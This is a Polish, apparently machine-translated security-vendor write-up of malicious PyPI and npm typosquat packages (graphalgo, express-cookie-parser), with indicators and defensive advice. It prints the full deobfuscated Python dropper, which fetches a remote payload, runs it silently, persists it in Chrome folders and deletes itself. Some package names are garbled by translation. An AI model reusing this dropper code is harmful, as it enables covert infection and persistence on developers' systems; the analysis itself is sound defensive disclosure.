Ataki na łańcuch dostaw oprogramowania 2025 – złośliwe pakiety – złośliwe pakiety Python – złośliwe pakiety npm

Bliższe spojrzenie na ataki na łańcuch dostaw oprogramowania w 2025 r.: porównanie kampanii PyPI i npm

Firma Xygeni niedawno zaobserwowała niepokojący wzorzec w krajobrazie ataków na łańcuch dostaw oprogramowania w roku 2025, pojawiające się w dwóch popularnych menedżerach pakietów: PyPI oraz NpmW ramach naszych ciągłych działań w zakresie analizy zagrożeń,Wczesne ostrzeganie przed złośliwym oprogramowaniem (MEW) firmy Xygeni Narzędzie zidentyfikowało odrębny, ale metodologicznie podobny przypadek złośliwego pakietu przesłanego wcześniej do innego rejestru. Ten przypadek pokazuje, jak aktorzy zagrożeń ewoluują i ponownie wykorzystują techniki ataków w różnych ekosystemach, zwłaszcza poprzez… złośliwe pakiety Pythona oraz złośliwe pakiety npm, co zwiększa ryzyko infiltracji łańcuchów dostaw oprogramowania typu open source przez złośliwe pakiety.

MEW firmy Xygeni: Dostrzeganie podobieństw

Narzędzie MEW firmy Xygeni zostało stworzone do wykrywania i oznaczania złośliwych pakietów, zwłaszcza tych powiązanych z atakami na łańcuch dostaw oprogramowania (SOC) w 2025 roku, zaraz po ich opublikowaniu w rejestrach open source. Działa poprzez analizę nowych pakietów pod kątem podejrzanego zachowania.

W tym przypadku zidentyfikowano dwa złośliwe pakiety Pythona (graphalgo na PyPI) i złośliwe pakiety npm (express-cookie-parser na npm).

Złośliwe pakiety Python i npm w atakach na łańcuch dostaw oprogramowania (2025)

Przyjrzyjmy się wspólnym cechom, które spowodowały uruchomienie naszych alertów:

Typosquatting

Obydwa próbowały podszywać się pod popularne, istniejące już pakiety.

  • graphalgo (PyPI)"Pakiet Pythona do tworzenia i manipulowania grafami i sieciami.„Przesłane przez użytkownika o nazwie „larrytech” 13 czerwca 2025 r. pakiet ten zaprezentował się jako alternatywa PyPi dla oryginalnego, niezłośliwego projektu graphalgo, którego nazwę później zmieniono na graphdict.
  • parser-ciasteczek-ekspresowych (npm):Ten pakiet imitował dobrze znany pakiet do analizy plików cookie, a nawet odzwierciedlał jego README.md. Podszywanie się pod kogoś jest klasyczną taktyką mającą na celu wykorzystanie istniejącego zaufania.

Zaciemnianie jako pierwsza linia obrony

Oba pakiety ukrywały swój złośliwy kod w oryginalnych plikach. grafalgo, zaciemniony kod został znaleziony w /utils/load_libraries.py. W przypadku parser-ciasteczek-ekspresowych, cookie-loader.min.js zawierał zaciemniony ładunek.

Ta początkowa warstwa zaciemniania jest zazwyczaj stosowana w celu utrudnienia pobieżnej inspekcji i analizy statycznej. Zaciemnianie było dość proste: powtarzana kompresja ZLib i kodowanie Base64. Ten rodzaj zaciemniania wyraźnie wskazuje, że oprogramowanie próbuje ukryć swoje zachowanie. Wraz z innymi dowodami, pozwoliło to Xygeni MEW zaklasyfikować pakiety jako potencjalne złośliwe oprogramowanie. Na etapie weryfikacji nasi recenzenci niezwłocznie przygotowali skrypt deobfuskacyjny, który ujawnił ewidentnie złośliwy etap droppera.

Wieloetapowe dostarczanie ładunku i wspólny punkt początkowy

Oba pakiety pełniły funkcję początkową „zakraplacze”, przygotowując grunt pod prawdziwy ładunek. Dzielili wspólny zewnętrzny „nasienie” adres URL pliku:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Ten identyczny zewnętrzny plik źródłowy jest silnym wskaźnikiem wspólnego podmiotu zagrożenia. Co ciekawe, zawartość tego pliku źródłowego wydaje się składać z prostych zmiennych środowiskowych (np. JWT_SECRET, PORT), co może wprowadzać w błąd podczas inspekcji jego faktycznej funkcji.

Dynamiczna rozdzielczość C2 z DGA

Wyrafinowaną taktyką obserwowaną w tych złośliwych pakietach jest wykorzystanie algorytmu generacji domeny (DGA) do dynamicznego rozpoznawania serwera poleceń i kontroli (C2). Ta technika, często spotykana w zaawansowanych atakach na łańcuchy dostaw oprogramowania w 2025 roku, opiera się na hashu SHA256 uzyskanym z zawartości pliku źródłowego, w połączeniu z innymi zakodowanymi na stałe wartościami. W ten sposób infrastruktura C2 ulega częstym zmianom, co znacznie zmniejsza skuteczność tradycyjnej czarnej listy. W tym przypadku wariant npm użył stałej wartości 496AAC7E jako część logiki DGA.

Ustalanie trwałości

Obaj atakujący chcieli zapewnić sobie trwałą obecność w zainfekowanych systemach. Ich strategia polegała na upuszczeniu pliku, startup.py (dla PyPi) lub startup.js (dla npm) do wspólnych katalogów danych użytkowników Google Chrome w różnych systemach operacyjnych (Windows, Linux, macOS).

Czyszczenie po wykonaniu

Aby zminimalizować ślady, oba złośliwe skrypty wykonały operacje czyszczenia. Obejmowały one usunięcie początkowych plików droppera (load_libraries.py, cookie-loader.min.js) i modyfikowanie legalnych plików pakietów (__init__.py, index.js) aby usunąć odniesienia do usuniętych komponentów.

Wskaźniki zagrożenia w złośliwych pakietach Python i npm

  • Pakiet PyPI: graphalgo (opublikowane przez larrytech, 13 czerwca 2025 r.)
  • Pakiet npm: express-cookie-parser (konkretnie wersja 1.4.12)
  • Dostęp do udostępnionego adresu URL nasion: 

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Trwałe nazwy plików: startup.py (Pyton) startup.js (JavaScript)
  • Typowe ścieżki trwałe (zależne od systemu operacyjnego):W katalogach danych użytkownika przeglądarki Google Chrome (np. AppData\Local\Google\Chrome\UserData\Scripts\ w systemie Windows, ~/.config/google-chrome/Scripts/ na Linuksie itp.).

Jak bronić się przed złośliwymi pakietami w atakach na łańcuch dostaw oprogramowania w 2025 r.

Zalecane podejście dla programistów

Ten incydent stanowi cenne studium przypadku w kontekście zmieniającego się krajobrazu zagrożeń związanych z atakami na łańcuch dostaw oprogramowania w 2025 roku. Pokazuje on, jak złośliwe pakiety Pythona i złośliwe pakiety npm mogą przedostać się do zaufanych ekosystemów, często unikając wykrycia, aż będzie za późno. Dlatego wczesne wykrywanie, inteligentne narzędzia i proaktywna higiena systemu są obecnie niezbędnymi elementami każdego bezpiecznego procesu DevOps. Zachęcamy programistów do rozważenia następujących kwestii:

Przegląd zależności

Jeśli Twoje projekty obejmowały grafalgo or parser-ciasteczek-ekspresowych, rozsądnie byłoby kontynuować ich usuwanie.

  • Dla PyPI: pip uninstall graphalgo
  • Dla npm: npm uninstall express-cookie-parser

Higiena systemu

Rozważ przeprowadzenie kompleksowego skanowania systemu. Zaleca się również ręczne sprawdzenie ścieżek do popularnych katalogów danych użytkownika Chrome pod kątem nieoczekiwanych startup.py or startup.js akta.

Proaktywne środki bezpieczeństwa

  • Oceń nowe zależności:Wprowadź rutynę dokładnej oceny nowych pakietów przed integracją, ze szczególnym uwzględnieniem pakietów pochodzących od nieznanych wydawców.
  • Zintegruj narzędzia bezpieczeństwa:Narzędzia takie jak MEW firmy Xygeni, wraz z innymi narzędziami do analizy składu oprogramowania (SCA) rozwiązania mogą stanowić istotną warstwę obrony poprzez identyfikację podejrzanych zachowań i luk w zabezpieczeniach.
  • Najmniejszy przywilej:Korzystanie ze środowisk programistycznych z zasadą najmniejszych uprawnień może pomóc ograniczyć potencjalne skutki kompromisu.
  • Świadomość sieciowa:Monitorowanie ruchu sieciowego wychodzącego w celu wykrycia nietypowych połączeń może czasami ujawnić komunikaty C2 generowane przez DGA.

Kluczowe komponenty load_libraries.py (z graphalgo)

				
					import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])


				
			
  • download_remote_content(): Zajmuje się pobieraniem plików z określonych adresów URL.
  • run_process():Uruchamia zewnętrzne skrypty Pythona w sposób oderwany od rzeczywistości, blokując dane wyjściowe w celu zachowania dyskrecji.
  • get_output_file_path():Określa idealną lokalizację systemową dla trwałego pliku startup.py.
  • remove_self():Organizuje czyszczenie początkowych plików zawierających złośliwe oprogramowanie i modyfikacje pakietów po wykonaniu programu.
  • simple_shift_encrypt() / simple_shift_decrypt():Niestandardowe funkcje kryptograficzne służące do ukrywania kanałów komunikacyjnych, mające kluczowe znaczenie dla implementacji DGA.
  • load_libraries():Funkcja centralna koordynująca cały wieloetapowy proces — od początkowego pobrania do końcowego wykonania ładunku i czyszczenia.

następstwa

Podobnie jak w przypadku innych potencjalnie złośliwych pakietów zidentyfikowanych przez MEW, zapora zależności natychmiast chroniła użytkowników, którzy dołączyli te złośliwe pakiety do swoich zależności. Po potwierdzeniu, zastosowaliśmy procedury powiadamiania dla obu rejestrów, które po weryfikacji usunęły oba pakiety.

sca-tools-oprogramowanie-narzędzia-analizy-kompozycji
Określ priorytety, rozwiąż problemy i zabezpiecz zagrożenia związane z oprogramowaniem
Załóż darmowe konto.
Nie wymagamy karty kredytowej.

Zabezpiecz rozwój i dostarczanie oprogramowania

z pakietem produktów Xygeni